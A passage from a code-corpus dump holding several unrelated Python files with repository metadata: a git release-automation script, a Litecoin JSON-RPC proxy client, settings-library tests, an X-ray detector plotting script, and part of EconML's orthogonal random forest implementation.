int(re.match(r"^v(\d+)\.", version).group(1)) if major_version < 6: raise DependencyException("node.js must be version 6.x or higher") async def any_new_commits(version, *, base_branch, root): """ Return true if there are any new commits since a release Args: version (str): A version string base_branch (str): The branch to compare against root (str): The project root directory Returns: bool: True if there are new commits """ return await any_commits_between_branches( branch1=f"v{version}", branch2=base_branch, root=root ) async def any_commits_between_branches(*, branch1, branch2, root): """ Return true if there are any commits between two branches Args: branch1 (str): The first branch to compare against branch2 (str): The second, more recent branch to compare against root (str): The project root directory Returns: bool: True if there are new commits """ output = await check_output( ["git", "rev-list", "--count", f"{branch1}..{branch2}", "--"], cwd=root ) return int(output) != 0 async def create_release_notes(old_version, with_checkboxes, *, base_branch, root): """ Returns the release note text for the commits made for this version Args: old_version (str): The starting version of the range of commits with_checkboxes (bool): If true, create the release notes with spaces for checkboxes base_branch (str): The base branch to compare against root (str): The project root directory Returns: str: The release notes """ if with_checkboxes: filename = "release_notes.ejs" else: filename = "release_notes_rst.ejs" if not await any_new_commits(old_version, base_branch=base_branch, root=root): return "No new commits" output = await check_output( [ GIT_RELEASE_NOTES_PATH, f"v{old_version}..{base_branch}", os.path.join(SCRIPT_DIR, "util", filename), ], cwd=root, ) return f"{output.decode().strip()}\n" async def verify_new_commits(old_version, *, base_branch, root): """Check if there are new commits to release""" if not await any_new_commits(old_version, base_branch=base_branch, root=root): raise ReleaseException("No new commits to put in release") async def update_release_notes(old_version, new_version, *, base_branch, root): """Updates RELEASE.rst and commits it""" release_notes = await create_release_notes( old_version, with_checkboxes=False, base_branch=base_branch, root=root ) release_filename = os.path.join(root, "RELEASE.rst") try: with open(release_filename, "r", encoding="utf-8") as f: existing_note_lines = f.readlines() except FileNotFoundError: existing_note_lines = [] with open(release_filename, "w", encoding="utf-8") as f: f.write("Release Notes\n") f.write("=============\n") f.write("\n") version_line = f"Version {new_version}" f.write(f"{version_line}\n") f.write(f"{'-' * len(version_line)}\n") f.write("\n") f.write(release_notes) f.write("\n") # skip first four lines which contain the header we are replacing for old_line in existing_note_lines[3:]: f.write(old_line) await check_call(["git", "add", release_filename], cwd=root) await check_call( ["git", "commit", "-q", "--all", "--message", f"Release {new_version}"], cwd=root, ) async def build_release(*, root): """Deploy the release candidate""" await check_call( [ "git", "push", "--force", "-q", "origin", "release-candidate:release-candidate", ], cwd=root, ) async def generate_release_pr( *, github_access_token, repo_url, old_version, new_version, base_branch, root ): """ Make a release pull request for the deployed release-candidate branch Args: github_access_token (str): The github access token repo_url (str): URL for the repo old_version (str): The previous release version new_version (str): The version of the new release base_branch (str): The base branch to compare against root (str): The project root directory """ await create_pr( github_access_token=github_access_token, repo_url=repo_url, title=f"Release {new_version}", body=await create_release_notes( old_version, with_checkboxes=True, base_branch=base_branch, root=root ), head="release-candidate", base="release", ) async def release( *, github_access_token, repo_info, new_version, branch=None, commit_hash=None ): """ Run a release Args: github_access_token (str): The github access token repo_info (RepoInfo): RepoInfo for a repo new_version (str): The version of the new release branch (str): The branch to initialize the release from commit_hash (str): Commit hash to cherry pick in case of a hot fix """ await validate_dependencies() async with init_working_dir( github_access_token, repo_info.repo_url, branch=branch ) as working_dir: default_branch = await get_default_branch(working_dir) await check_call( ["git", "checkout", "-qb", "release-candidate"], cwd=working_dir ) if commit_hash: try: await check_call(["git", "cherry-pick", commit_hash], cwd=working_dir) except CalledProcessError as ex: raise ReleaseException( f"Cherry pick failed for the given hash {commit_hash}" ) from ex old_version = await update_version( repo_info=repo_info, new_version=new_version, working_dir=working_dir, readonly=False, ) if parse_version(old_version) >= parse_version(new_version): raise ReleaseException( f"old version is {old_version} but the new version {new_version} is not newer" ) base_branch = "release-candidate" if commit_hash else default_branch await verify_new_commits(old_version, base_branch=base_branch, root=working_dir) await update_release_notes( old_version, new_version, base_branch=base_branch, root=working_dir ) await build_release(root=working_dir) return await generate_release_pr( github_access_token=github_access_token, repo_url=repo_info.repo_url, old_version=old_version, new_version=new_version, base_branch=base_branch, root=working_dir, )
32.3125
94
0.643496
795952d9f30478163738e53ed45314d679cd3f28
7,059
py
Python
Python3/Tornado/apps/ExchangeWalletApi/ExWallet/ltc/proxy.py
youngqqcn/QBlockChainNotes
85122049024dc5555705bf016312491a51966621
[ "MIT" ]
24
2018-11-01T03:36:43.000Z
2022-03-28T08:20:30.000Z
Python3/Tornado/apps/ExchangeWalletApi/ExWallet/ltc/proxy.py
songning4/QBlockChainNotes
d65ede073f5a20f728f41cc6850409693820cdb1
[ "MIT" ]
57
2019-12-04T08:26:47.000Z
2022-03-08T07:35:15.000Z
Python3/Tornado/apps/ExchangeWalletApi/ExWallet/ltc/proxy.py
youngqqcn/QBlockChainNotes
85122049024dc5555705bf016312491a51966621
[ "MIT" ]
11
2019-01-04T08:41:57.000Z
2022-03-16T03:51:36.000Z
try: import http.client as httplib except ImportError: import httplib import base64 import decimal import json try: import urllib.parse as urlparse except ImportError: import urlparse USER_AGENT = "AuthServiceProxy/0.1" HTTP_TIMEOUT = 20 class JSONRPCException(Exception): def __init__(self, rpc_error): parent_args = [] try: parent_args.append(rpc_error['message']) except: pass Exception.__init__(self, *parent_args) self.error = rpc_error self.code = rpc_error['code'] if 'code' in rpc_error else None self.message = rpc_error['message'] if 'message' in rpc_error else None def __str__(self): return '%d: %s' % (self.code, self.message) def __repr__(self): return '<%s \'%s\'>' % (self.__class__.__name__, self) from utils import RoundDown def EncodeDecimal(o): if isinstance(o, decimal.Decimal): # return float(decimal.Decimal( round(o, 8))) d = RoundDown(o) f = float(d) return f # return float(o) raise TypeError(repr(o) + " is not JSON serializable") class AuthServiceProxy(object): __id_count = 0 def __init__(self, service_url, service_name=None, timeout=HTTP_TIMEOUT, connection=None): self.__service_url = service_url self.__service_name = service_name self.__url = urlparse.urlparse(service_url) if self.__url.port is None: port = 80 else: port = self.__url.port (user, passwd) = (self.__url.username, self.__url.password) try: user = user.encode('utf8') except AttributeError: pass try: passwd = passwd.encode('utf8') except AttributeError: pass authpair = user + b':' + passwd self.__auth_header = b'Basic ' + base64.b64encode(authpair) self.__timeout = timeout if connection: # Callables re-use the connection of the original proxy self.__conn = connection elif self.__url.scheme == 'https': self.__conn = httplib.HTTPSConnection(self.__url.hostname, port, timeout=timeout) else: self.__conn = httplib.HTTPConnection(self.__url.hostname, port, timeout=timeout) def __getattr__(self, name): if name.startswith('__') and name.endswith('__'): # Python internal stuff raise AttributeError if self.__service_name is not None: name = "%s.%s" % (self.__service_name, name) return AuthServiceProxy(self.__service_url, name, self.__timeout, self.__conn) def __call__(self, *args): AuthServiceProxy.__id_count += 1 postdata = json.dumps({'version': '1.1', 'method': self.__service_name, 'params': args, 'id': AuthServiceProxy.__id_count}, default=EncodeDecimal) self.__conn.request('POST', self.__url.path, postdata, {'Host': self.__url.hostname, 'User-Agent': USER_AGENT, 'Authorization': self.__auth_header, 'Content-type': 'application/json'}) self.__conn.sock.settimeout(self.__timeout) response = self._get_response() if response.get('error') is not None: raise JSONRPCException(response['error']) elif 'result' not in response: raise JSONRPCException({ 'code': -343, 'message': 'missing JSON-RPC result'}) return response['result'] # jsonrpc 1.0 def batch(self, rpc_calls): """Batch RPC call. Pass array of arrays: [ [ "method", params... ], ... ] Returns array of results. """ batch_data = [] for rpc_call in rpc_calls: AuthServiceProxy.__id_count += 1 m = rpc_call.pop(0) batch_data.append({"jsonrpc":"1.0", "method":m, "params":rpc_call, "id":AuthServiceProxy.__id_count}) postdata = json.dumps(batch_data, default=EncodeDecimal) self.__conn.request('POST', self.__url.path, postdata, {'Host': self.__url.hostname, 'User-Agent': USER_AGENT, 'Authorization': self.__auth_header, 'Content-type': 'text/plain'}) results = [] responses = self._get_response() for response in responses: if response['error'] is not None: raise JSONRPCException(response['error']) elif 'result' not in response: raise JSONRPCException({ 'code': -343, 'message': 'missing JSON-RPC result'}) else: results.append(response['result']) return results # jsonrpc 2.0 def batch_(self, rpc_calls): """Batch RPC call. Pass array of arrays: [ [ "method", params... ], ... ] Returns array of results. """ batch_data = [] for rpc_call in rpc_calls: AuthServiceProxy.__id_count += 1 m = rpc_call.pop(0) batch_data.append({"jsonrpc":"2.0", "method":m, "params":rpc_call, "id":AuthServiceProxy.__id_count}) postdata = json.dumps(batch_data, default=EncodeDecimal) #print(postdata) self.__conn.request('POST', self.__url.path, postdata, {'Host': self.__url.hostname, 'User-Agent': USER_AGENT, 'Authorization': self.__auth_header, 'Content-type': 'application/json'}) results = [] responses = self._get_response() #print(responses) for response in responses: if response['error'] is not None: raise JSONRPCException(response['error']) elif 'result' not in response: raise JSONRPCException({ 'code': -343, 'message': 'missing JSON-RPC result'}) else: results.append(response['result']) return results def _get_response(self): http_response = self.__conn.getresponse() if http_response is None: raise JSONRPCException({ 'code': -342, 'message': 'missing HTTP response from server'}) content_type = http_response.getheader('Content-Type') if content_type != 'application/json': raise JSONRPCException({ 'code': -342, 'message': 'non-JSON HTTP response with \'%i %s\' from server' % (http_response.status, http_response.reason)}) responsedata = http_response.read().decode('utf8') response = json.loads(responsedata, parse_float=decimal.Decimal) return response
37.152632
141
0.557728
7959536ceb80b16b7ee06bd2ce349bf974c0a49b
6,480
py
Python
tests/test_settings.py
lschmelzeisen/nasty-utils
d2daf2faed35d7028bf0adc7ae5a321ca3b9b4ed
[ "ECL-2.0", "Apache-2.0" ]
1
2020-05-23T19:18:45.000Z
2020-05-23T19:18:45.000Z
tests/test_settings.py
lschmelzeisen/nasty-utils
d2daf2faed35d7028bf0adc7ae5a321ca3b9b4ed
[ "ECL-2.0", "Apache-2.0" ]
1
2021-05-09T08:09:20.000Z
2021-05-09T08:09:20.000Z
tests/test_settings.py
lschmelzeisen/nasty-utils
d2daf2faed35d7028bf0adc7ae5a321ca3b9b4ed
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
# # Copyright 2019-2020 Lukas Schmelzeisen # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from logging import getLogger from pathlib import Path from typing import Mapping, Optional, Sequence from pydantic import SecretStr from pytest import raises from nasty_utils import ColoredBraceStyleAdapter, Settings, SettingsConfig _LOGGER = ColoredBraceStyleAdapter(getLogger(__name__)) def test_find_settings_file(tmp_cwd: Path) -> None: for directory in [Path("."), Path("mysettingsdir")]: settings_dir = Path(".config") / directory settings_dir.mkdir(exist_ok=True) for name in [Path("conf"), Path("mysettings.toml")]: class FindSettings(Settings): class Config(SettingsConfig): search_path = directory / name with raises(FileNotFoundError): FindSettings.find_settings_file() (settings_dir / name).touch() assert FindSettings.find_settings_file() class MyInnerSettings(Settings): host: str = "localhost" port: int = 9200 user: str = "elastic" password: SecretStr = SecretStr("") path: Optional[Path] = None class MySettings(Settings): name: str age: Optional[int] = None first_list: Sequence[int] second_list: Sequence[Path] = [Path("foo")] default_list: Sequence[str] = ["foo", "bar"] nested_list: Sequence[Sequence[int]] first_map: Mapping[str, int] second_map: Mapping[str, Path] = {"foo": Path("barr")} nested_map: Mapping[str, Mapping[str, int]] inner: MyInnerSettings def test_load_from_settings_file(tmp_path: Path) -> None: settings_file = tmp_path / "settings.toml" settings_file.write_text( """ name = "test" first_list = [ 1, 2, 3 ] second_list = [ "1", "2", "3" ] nested_list = [ [ 1, 2, 3 ], [ 4, 5, 6 ] ] first_map = { one = 1, two = 2 } second_map = { one = "1", two = "2" } nested_map = { one = { one = 11 }, two = { one = 21, two = 22 }} [inner] host = "localhost" port = 9200 user = "test-user" password = "test-pass" path = "test.path" """, encoding="UTf-8", ) settings = MySettings.load_from_settings_file(settings_file) assert settings.name == "test" assert settings.age is None assert settings.first_list == [1, 2, 3] assert settings.second_list == [Path("1"), Path("2"), Path("3")] assert settings.default_list == ["foo", "bar"] assert settings.nested_list == [[1, 2, 3], [4, 5, 6]] assert settings.first_map == {"one": 1, "two": 2} assert settings.second_map == {"one": Path("1"), "two": Path("2")} assert settings.nested_map == {"one": {"one": 11}, "two": {"one": 21, "two": 22}} assert settings.inner.host == "localhost" assert settings.inner.port == 9200 assert settings.inner.user == "test-user" assert str(settings.inner.password) == "**********" assert settings.inner.password.get_secret_value() == "test-pass" assert settings.inner.path is not None and settings.inner.path.name == "test.path" class InheritingSettings(MySettings): foo: str def test_inheriting_settings() -> None: settings = InheritingSettings.load_from_str( """ foo = "bar" name = "test" first_list = [ 1, 2, 3 ] nested_list = [ [ 1, 2, 3 ], [ 4, 5, 6 ] ] first_map = { one = 1, two = 2 } nested_map = { one = { one = 11 }, two = { one = 21, two = 22 }} [inner] """ ) assert settings.name == "test" assert settings.foo == "bar" class PathSettings(Settings): class Config(SettingsConfig): search_path = Path("settings.toml") path: Path def test_path_settings(tmp_cwd: Path) -> None: settings_contents = """ path = "{SETTINGS_DIR}/test.path" """ with raises(ValueError): PathSettings.load_from_str(settings_contents) settings_dir = Path(".config") settings_dir.mkdir() (settings_dir / "settings.toml").write_text(settings_contents, encoding="UTF-8") settings = PathSettings.find_and_load_from_settings_file() assert settings.path.name == "test.path" assert settings.path.parent.name == ".config" assert settings.path.parent.parent.resolve() == tmp_cwd class InnerOptionalSettings(Settings): inner: Optional[MyInnerSettings] = None def test_inner_optional_settings() -> None: settings = InnerOptionalSettings.load_from_str( """ [inner] host = "localhost" """ ) assert settings.inner is not None and settings.inner.host == "localhost" settings = InnerOptionalSettings.load_from_str("") assert settings.inner is None class InnerSequenceSettings(Settings): inner: Sequence[MyInnerSettings] = [] def test_inner_sequence_settings() -> None: settings = InnerSequenceSettings.load_from_str( """ [[inner]] host = "localhost1" [[inner]] host = "localhost2" [[inner]] host = "localhost3" """ ) assert len(settings.inner) == 3 for i in range(3): assert settings.inner[i].host == f"localhost{i+1}" settings = InnerSequenceSettings.load_from_str("") assert len(settings.inner) == 0 class CanNotDefaultSettings(Settings): class Config(SettingsConfig): search_path = Path("settings.toml") foo: int class CanDefaultSettings(Settings): class Config(SettingsConfig): search_path = Path("settings.toml") foo: int = 5 def test_can_default_settings() -> None: assert not CanNotDefaultSettings.can_default() with raises(FileNotFoundError): CanNotDefaultSettings.find_and_load_from_settings_file() assert CanDefaultSettings.can_default() settings = CanDefaultSettings.find_and_load_from_settings_file() assert settings.foo == 5
28.8
86
0.635494
795953aa2cca20527a41a702d9ac496f9e4c0139
2,785
py
Python
scripts/08_plot_ice.py
sellberg/SACLA2018A8063
26a95f1b1d73fe0f7243787cd70fab81da98939b
[ "BSD-2-Clause" ]
null
null
null
scripts/08_plot_ice.py
sellberg/SACLA2018A8063
26a95f1b1d73fe0f7243787cd70fab81da98939b
[ "BSD-2-Clause" ]
null
null
null
scripts/08_plot_ice.py
sellberg/SACLA2018A8063
26a95f1b1d73fe0f7243787cd70fab81da98939b
[ "BSD-2-Clause" ]
null
null
null
#!/home/software/SACLA_tool/bin/python2.7 import numpy as np import h5py import matplotlib import matplotlib.pyplot as plt import argparse import time #import pandas as pd import sys from argparse import ArgumentParser parser = ArgumentParser() parser = ArgumentParser(description="Plot intense ice shots") parser.add_argument("-run", "--run-number", type=int, dest="run", required=True, help="run to process") parser.add_argument("-t", "--threshold", type=float, dest="threshold", default=10.0, help="photon threshold (default: 10 photons)") parser.add_argument("-exp", "--exp-year", type=int, dest="exp", default=2016, help="experimental year to compress (default: 2016)") parser.add_argument("-multi", "--multi-run", action="store_true", dest="multi", required=False, default=False, help="process multi-file run converted using DataConvert4") parser.add_argument("-tag", "--output-tag", type=str, dest="tag", default="run", help="tag for output folder (default: run)") parser.add_argument("-o", "--output-flag", type=str, dest="outputFlag", help="where to process runs. 'W' refers to /work/perakis/ and 'UD' refers to '/UserData/fperakis' (default: UD)", choices=['W','UD'], default='UD') args = parser.parse_args() # -- default parameters file_folder = '/UserData/fperakis/2016_6/%s%d/'%(args.tag,args.run) # h5 files folder src_folder = '/home/fperakis/2016_06/git/SACLA2016A8015/src/' # src files folder adu_gain = 75.0 # adu/photon @ 5 keV # -- files and folders file_name = '%d.h5'%(args.run) file_path = file_folder+file_name sys.path.insert(0, src_folder) from img_class import * # -- import data fh5 = h5py.File(file_path, 'r') run_key = [ k for k in fh5.keys() if k.startswith('run_') ][0] tags = fh5['/%s/detector_2d_assembled_1'%run_key].keys()[1:] # -- image generator img_gen = ( fh5['%s/detector_2d_assembled_1/%s/detector_data'%(run_key,tag) ].value for tag in tags ) num_im = len(tags) mean_int = np.zeros(num_im) # -- average image im = img_gen.next() i=1 if (np.average(im.flatten()) > adu_gain*args.threshold): im_avg = im i_avg=1 else: im_avg = np.zeros_like(im) i_avg=0 for im_next in img_gen: t1 = time.time() mean_int[i] = np.average(im_next.flatten()) avg_int = np.average(im_next.flatten()) if (mean_int[i] > 75*10): im_avg += im_next i_avg += 1 i += 1 print 'R.%d | S.%d/%d/%d | %.1f Hz'%(args.run,i_avg,i,num_im,1.0/(time.time() - t1)) im_avg /= num_im # -- run mean total_mean = np.average(im.flatten()) # -- plot title = 'r.%d - average %d shots'%(args.run,num_im) i = img_class(im_avg, title) i.savefig(file_folder+'%d_ice.png'%args.run) i.draw_img()
33.963415
129
0.660323
7959547dccc7d8d5d13d62571ce6b55f93abf542
61,857
py
Python
econml/ortho_forest.py
econwang/EconML
6f89c2145f9e334ae66e1e34facfceee9517a3c7
[ "MIT" ]
1
2021-08-24T14:22:45.000Z
2021-08-24T14:22:45.000Z
econml/ortho_forest.py
FoundryAI/EconML
4554706bd9f803985e34399b7fc65035598ce195
[ "MIT" ]
null
null
null
econml/ortho_forest.py
FoundryAI/EconML
4554706bd9f803985e34399b7fc65035598ce195
[ "MIT" ]
null
null
null
# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. """Orthogonal Random Forest. Orthogonal Random Forest (ORF) is an algorithm for heterogenous treatment effect estimation. Orthogonal Random Forest combines orthogonalization, a technique that effectively removes the confounding effect in two-stage estimation, with generalized random forests, a flexible method for estimating treatment effect heterogeneity. This file consists of classes that implement the following variants of the ORF method: - The :class:`DMLOrthoForest`, a two-forest approach for learning continuous or discrete treatment effects using kernel two stage estimation. - The :class:`DROrthoForest`, a two-forest approach for learning discrete treatment effects using kernel two stage estimation. For more details on these methods, see our paper [Oprescu2019]_. """ import abc import inspect import numpy as np import warnings from joblib import Parallel, delayed from sklearn import clone from scipy.stats import norm from sklearn.exceptions import NotFittedError from sklearn.linear_model import LassoCV, Lasso, LinearRegression, LogisticRegression, \ LogisticRegressionCV, ElasticNet from sklearn.model_selection import KFold, StratifiedKFold from sklearn.pipeline import Pipeline from sklearn.preprocessing import OneHotEncoder, LabelEncoder, PolynomialFeatures, FunctionTransformer from sklearn.utils import check_random_state, check_array, column_or_1d from .sklearn_extensions.linear_model import WeightedLassoCVWrapper from .cate_estimator import BaseCateEstimator, LinearCateEstimator, TreatmentExpansionMixin from .causal_tree import CausalTree from .inference import Inference, NormalInferenceResults from .utilities import (reshape, reshape_Y_T, MAX_RAND_SEED, check_inputs, _deprecate_positional, cross_product, inverse_onehot, _EncoderWrapper, check_input_arrays, _RegressionWrapper, deprecated) from sklearn.model_selection import check_cv # TODO: consider working around relying on sklearn implementation details from .sklearn_extensions.model_selection import _cross_val_predict def _build_tree_in_parallel(Y, T, X, W, nuisance_estimator, parameter_estimator, moment_and_mean_gradient_estimator, min_leaf_size, max_depth, random_state): tree = CausalTree(nuisance_estimator=nuisance_estimator, parameter_estimator=parameter_estimator, moment_and_mean_gradient_estimator=moment_and_mean_gradient_estimator, min_leaf_size=min_leaf_size, max_depth=max_depth, random_state=random_state) # Create splits of causal tree tree.create_splits(Y, T, X, W) return tree def _fit_weighted_pipeline(model_instance, X, y, sample_weight): weights_error_msg = ( "Estimators of type {} do not accept weights. " "Consider using the class WeightedModelWrapper from econml.utilities to build a weighted model." ) expected_error_msg = "fit() got an unexpected keyword argument 'sample_weight'" if not isinstance(model_instance, Pipeline): try: model_instance.fit(X, y, sample_weight=sample_weight) except TypeError as e: if expected_error_msg in str(e): # Make sure the correct exception is being rethrown raise TypeError(weights_error_msg.format(model_instance.__class__.__name__)) else: raise e else: try: last_step_name = model_instance.steps[-1][0] model_instance.fit(X, y, **{"{0}__sample_weight".format(last_step_name): sample_weight}) except TypeError as e: if expected_error_msg in str(e): raise TypeError(weights_error_msg.format(model_instance.steps[-1][1].__class__.__name__)) else: raise e def _cross_fit(model_instance, X, y, split_indices, sample_weight=None, predict_func_name='predict'): model_instance1 = clone(model_instance, safe=False) model_instance2 = clone(model_instance, safe=False) split_1, split_2 = split_indices predict_func1 = getattr(model_instance1, predict_func_name) predict_func2 = getattr(model_instance2, predict_func_name) if sample_weight is None: model_instance2.fit(X[split_2], y[split_2]) pred_1 = predict_func2(X[split_1]) model_instance1.fit(X[split_1], y[split_1]) pred_2 = predict_func1(X[split_2]) else: _fit_weighted_pipeline(model_instance2, X[split_2], y[split_2], sample_weight[split_2]) pred_1 = predict_func2(X[split_1]) _fit_weighted_pipeline(model_instance1, X[split_1], y[split_1], sample_weight[split_1]) pred_2 = predict_func1(X[split_2]) # Must make sure indices are merged correctly sorted_split_indices = np.argsort(np.concatenate(split_indices), kind='mergesort') return np.concatenate((pred_1, pred_2))[sorted_split_indices] def _group_predict(X, n_groups, predict_func): """ Helper function that predicts using the predict function for every input argument that looks like [X; i] for i in range(n_groups). Used in DR moments, where we want to predict for each [X; t], for any value of the treatment t. Returns an (X.shape[0], n_groups) matrix of predictions for each row of X and each t in range(n_groups). Parameters ---------- X : (n, m) array n_groups : int predict_func : fn Returns ------- pred : (n, n_groups) array """ group_pred = np.zeros((X.shape[0], n_groups)) zero_t = np.zeros((X.shape[0], n_groups)) for i in range(n_groups): zero_t[:, i] = 1 group_pred[:, i] = predict_func(np.concatenate((X, zero_t), axis=1)) zero_t[:, i] = 0 # Convert rows to columns return group_pred def _group_cross_fit(model_instance, X, y, t, split_indices, sample_weight=None, predict_func_name='predict'): # Require group assignment t to be one-hot-encoded model_instance1 = clone(model_instance, safe=False) model_instance2 = clone(model_instance, safe=False) split_1, split_2 = split_indices n_groups = t.shape[1] predict_func1 = getattr(model_instance1, predict_func_name) predict_func2 = getattr(model_instance2, predict_func_name) Xt = np.concatenate((X, t), axis=1) # Get predictions for the 2 splits if sample_weight is None: model_instance2.fit(Xt[split_2], y[split_2]) pred_1 = _group_predict(X[split_1], n_groups, predict_func2) model_instance1.fit(Xt[split_1], y[split_1]) pred_2 = _group_predict(X[split_2], n_groups, predict_func1) else: _fit_weighted_pipeline(model_instance2, Xt[split_2], y[split_2], sample_weight[split_2]) pred_1 = _group_predict(X[split_1], n_groups, predict_func2) _fit_weighted_pipeline(model_instance1, Xt[split_1], y[split_1], sample_weight[split_1]) pred_2 = _group_predict(X[split_2], n_groups, predict_func1) # Must make sure indices are merged correctly sorted_split_indices = np.argsort(np.concatenate(split_indices), kind='mergesort') return np.concatenate((pred_1, pred_2))[sorted_split_indices] def _pointwise_effect(X_single, Y, T, X, W, w_nonzero, split_inds, slice_weights_list, second_stage_nuisance_estimator, second_stage_parameter_estimator, moment_and_mean_gradient_estimator, slice_len, n_slices, n_trees, stderr=False): """Calculate the effect for a one data point with features X_single. Parameters ---------- X_single : array-like, shape (d_x, ) Feature vector that captures heterogeneity for one sample. stderr : boolean (default=False) Whether to calculate the covariance matrix via bootstrap-of-little-bags. """ # Crossfitting # Compute weighted nuisance estimates nuisance_estimates = second_stage_nuisance_estimator(Y, T, X, W, w_nonzero, split_indices=split_inds) parameter_estimate = second_stage_parameter_estimator(Y, T, X, nuisance_estimates, w_nonzero, X_single) # ------------------------------------------------------------------------------- # Calculate the covariance matrix corresponding to the BLB inference # # 1. Calculate the moments and gradient of the training data w.r.t the test point # 2. Calculate the weighted moments for each tree slice to create a matrix # U = (n_slices, n_T). The V = (U x grad^{-1}) matrix represents the deviation # in that slice from the overall parameter estimate. # 3. Calculate the covariance matrix (V.T x V) / n_slices # ------------------------------------------------------------------------------- if stderr: moments, mean_grad = moment_and_mean_gradient_estimator(Y, T, X, W, nuisance_estimates, parameter_estimate) # Calclulate covariance matrix through BLB slice_weighted_moment_one = [] slice_weighted_moment_two = [] for slice_weights_one, slice_weights_two in slice_weights_list: slice_weighted_moment_one.append( np.average(moments[:len(split_inds[0])], axis=0, weights=slice_weights_one) ) slice_weighted_moment_two.append( np.average(moments[len(split_inds[0]):], axis=0, weights=slice_weights_two) ) U = np.vstack(slice_weighted_moment_one + slice_weighted_moment_two) inverse_grad = np.linalg.inv(mean_grad) cov_mat = inverse_grad.T @ U.T @ U @ inverse_grad / (2 * n_slices) return parameter_estimate, cov_mat return parameter_estimate class BaseOrthoForest(TreatmentExpansionMixin, LinearCateEstimator): """Base class for the :class:`DMLOrthoForest` and :class:`DROrthoForest`.""" def __init__(self, nuisance_estimator, second_stage_nuisance_estimator, parameter_estimator, second_stage_parameter_estimator, moment_and_mean_gradient_estimator, discrete_treatment=False, categories='auto', n_trees=500, min_leaf_size=10, max_depth=10, subsample_ratio=0.25, bootstrap=False, n_jobs=-1, random_state=None): # Estimators self.nuisance_estimator = nuisance_estimator self.second_stage_nuisance_estimator = second_stage_nuisance_estimator self.parameter_estimator = parameter_estimator self.second_stage_parameter_estimator = second_stage_parameter_estimator self.moment_and_mean_gradient_estimator = moment_and_mean_gradient_estimator # OrthoForest parameters self.n_trees = n_trees self.min_leaf_size = min_leaf_size self.max_depth = max_depth self.bootstrap = bootstrap self.subsample_ratio = subsample_ratio self.n_jobs = n_jobs self.random_state = check_random_state(random_state) # Sub-forests self.forest_one_trees = None self.forest_two_trees = None self.forest_one_subsample_ind = None self.forest_two_subsample_ind = None # Auxiliary attributes self.n_slices = int(np.ceil((self.n_trees)**(1 / 2))) self.slice_len = int(np.ceil(self.n_trees / self.n_slices)) # Fit check self.model_is_fitted = False self.discrete_treatment = discrete_treatment super().__init__() @_deprecate_positional("X and W should be passed by keyword only. In a future release " "we will disallow passing X and W by position.", ['X', 'W']) @BaseCateEstimator._wrap_fit def fit(self, Y, T, X, W=None, *, inference='auto'): """Build an orthogonal random forest from a training set (Y, T, X, W). Parameters ---------- Y : array-like, shape (n, ) Outcome for the treatment policy. T : array-like, shape (n, d_t) Treatment policy. X : array-like, shape (n, d_x) Feature vector that captures heterogeneity. W : array-like, shape (n, d_w) or None (default=None) High-dimensional controls. inference: string, :class:`.Inference` instance, or None Method for performing inference. This estimator supports 'bootstrap' (or an instance of :class:`.BootstrapInference`) and 'blb' (or an instance of :class:`BLBInference`) Returns ------- self: an instance of self. """ Y, T, X, W = check_inputs(Y, T, X, W, multi_output_Y=False) if Y.ndim > 1 and Y.shape[1] > 1: raise ValueError( "The outcome matrix must be of shape ({0}, ) or ({0}, 1), instead got {1}.".format(len(X), Y.shape)) shuffled_inidces = self.random_state.permutation(X.shape[0]) n = X.shape[0] // 2 self.Y_one = Y[shuffled_inidces[:n]] self.Y_two = Y[shuffled_inidces[n:]] self.T_one = T[shuffled_inidces[:n]] self.T_two = T[shuffled_inidces[n:]] self.X_one = X[shuffled_inidces[:n]] self.X_two = X[shuffled_inidces[n:]] if W is not None: self.W_one = W[shuffled_inidces[:n]] self.W_two = W[shuffled_inidces[n:]] else: self.W_one = None self.W_two = None self.forest_one_subsample_ind, self.forest_one_trees = self._fit_forest(Y=self.Y_one, T=self.T_one, X=self.X_one, W=self.W_one) self.forest_two_subsample_ind, self.forest_two_trees = self._fit_forest(Y=self.Y_two, T=self.T_two, X=self.X_two, W=self.W_two) self.model_is_fitted = True return self def const_marginal_effect(self, X): """Calculate the constant marginal CATE θ(·) conditional on a vector of features X. Parameters ---------- X : array-like, shape (n, d_x) Feature vector that captures heterogeneity. Returns ------- Theta : matrix , shape (n, d_t) Constant marginal CATE of each treatment for each sample. """ # TODO: Check performance return np.asarray(self._predict(X)) def _predict(self, X, stderr=False): if not self.model_is_fitted: raise NotFittedError('This {0} instance is not fitted yet.'.format(self.__class__.__name__)) X = check_array(X) results = Parallel(n_jobs=self.n_jobs, verbose=3)( delayed(_pointwise_effect)(X_single, *self._pw_effect_inputs(X_single, stderr=stderr), self.second_stage_nuisance_estimator, self.second_stage_parameter_estimator, self.moment_and_mean_gradient_estimator, self.slice_len, self.n_slices, self.n_trees, stderr=stderr) for X_single in X) return results def _pw_effect_inputs(self, X_single, stderr=False): w1, w2 = self._get_weights(X_single) mask_w1 = (w1 != 0) mask_w2 = (w2 != 0) w1_nonzero = w1[mask_w1] w2_nonzero = w2[mask_w2] # Must normalize weights w_nonzero = np.concatenate((w1_nonzero, w2_nonzero)) split_inds = (np.arange(len(w1_nonzero)), np.arange(len(w1_nonzero), len(w_nonzero))) slice_weights_list = [] if stderr: slices = [ (it * self.slice_len, min((it + 1) * self.slice_len, self.n_trees)) for it in range(self.n_slices) ] for slice_it in slices: slice_weights_one, slice_weights_two = self._get_weights(X_single, tree_slice=slice_it) slice_weights_list.append((slice_weights_one[mask_w1], slice_weights_two[mask_w2])) W_none = self.W_one is None return np.concatenate((self.Y_one[mask_w1], self.Y_two[mask_w2])),\ np.concatenate((self.T_one[mask_w1], self.T_two[mask_w2])),\ np.concatenate((self.X_one[mask_w1], self.X_two[mask_w2])),\ np.concatenate((self.W_one[mask_w1], self.W_two[mask_w2]) ) if not W_none else None,\ w_nonzero,\ split_inds, slice_weights_list def _get_inference_options(self): # Override the CATE inference options # Add blb inference to parent's options options = super()._get_inference_options() options.update(blb=BLBInference) options.update(auto=BLBInference) return options def _fit_forest(self, Y, T, X, W=None): # Generate subsample indices subsample_ind = self._get_blb_indices(X) # Build trees in parallel return subsample_ind, Parallel(n_jobs=self.n_jobs, 